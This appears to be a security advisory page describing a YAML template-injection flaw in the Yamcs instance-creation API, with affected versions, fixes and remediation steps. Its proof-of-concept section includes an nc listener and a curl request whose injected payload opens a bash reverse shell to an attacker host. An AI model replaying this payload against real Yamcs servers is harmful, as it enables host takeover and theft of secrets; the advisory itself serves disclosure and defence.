GHSA-73mf-m39p-wpm9: Code Injection

Published Aug 28, 2026
·
Updated

Summary

templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.

Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.

Details

VarStatement appends arg values with no escaping:

java // yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29 buf.append(value);

The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.

Request to exec: InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances) → YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs)) → rendered config loaded as YConfiguration → YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader) → org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).

createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.

A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.

PoC

Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".

Listener:

nc -lvnp 4444

Request (set <LHOST> / <LPORT> to the listener):

bash curl -i -X POST http://<target>:8090/api/instances \ -H 'Content-Type: application/json' \ -d '{ "name": "pwned", "template": "example", "templateArgs": { "spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#", "bar": "Option 2" } }'

Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".

With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.

Impact

Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.

It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.

Affected Software

2 affected componentsFixes available
maven/org.yamcs:yamcs-core<=5.12.7
5.12.8
maven/org.yamcs:yamcs-core>=5.13.0<=5.13.1
5.13.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.yamcs:yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.12.8
  2. Upgrade

    Upgrade maven/org.yamcs:yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.13.2
  3. Configuration

    Update Yamcs to validate `templateArgs` server-side: reject newlines/control characters, enforce declared `choices`/`required` for each variable, and escape substituted values for the YAML context so injected YAML (e.g., closing quotes/new top-level `services:`) cannot create arbitrary `services:` entries like `org.yamcs.ProcessRunner`.

    Yamcs templating (template args to YAML instance config) templateArgs validation/escaping = reject newlines/control characters; enforce declared choices/required; escape substituted values for YAML context
  4. Configuration

    Ensure `security.yaml` is present and properly configured so the HttpServer on 8090 is not unauthenticated. Remove the default exposure where the `guest` user is `superuser=true` and the API is reachable without authentication.

    Yamcs HTTP API (Instances API / default security mode) security.yaml / authentication for guest = require security.yaml so unauthenticated access is not possible; ensure guest is not `superuser=true`
  5. Compensating control

    Restrict the `CreateInstances` privilege so it is not delegated to operators/users who should not have the ability to trigger command execution via the template arg → YAML parsing → `org.yamcs.ProcessRunner` service instantiation path.

  6. Operational

    If the vulnerable API/template path was accessible, treat `secretKey` and other secrets in `etc/yamcs.yaml` as potentially compromised (e.g., token minting, LDAP/OIDC/TLS secret exposure). Rotate `secretKey` and any impacted credentials/secrets, and review/tamper with telemetry and command history for affected instances.

Event History

Aug 28, 2026
Advisory Published
via GitHub·05:23 PM
Data Sourced
via GitHub·05:23 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

When can this be exploited without authentication?

Deployments with no security.yaml are exposed without authentication because the guest user is configured as superuser=true. In that configuration, the API is unauthenticated and the guest user has the required CreateInstances privilege.

2

What access is required when security is configured?

An attacker needs the CreateInstances privilege to exploit the issue. The affected API paths are POST /api/instances and PATCH /api/instances/{instance}.

3

Do template escaping or declared template-variable constraints prevent exploitation?

No. The available EscapeFilter performs HTML escaping only and does not neutralize YAML-relevant newlines, colons, or indentation; declared choices and required metadata are only used by the web form and are not validated server-side.

4

Does the 5.12.7 algorithm-edit fix address this issue?

No. The described 5.12.7 fix applies to an algorithm-edit path and does not affect this instance-template argument path.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203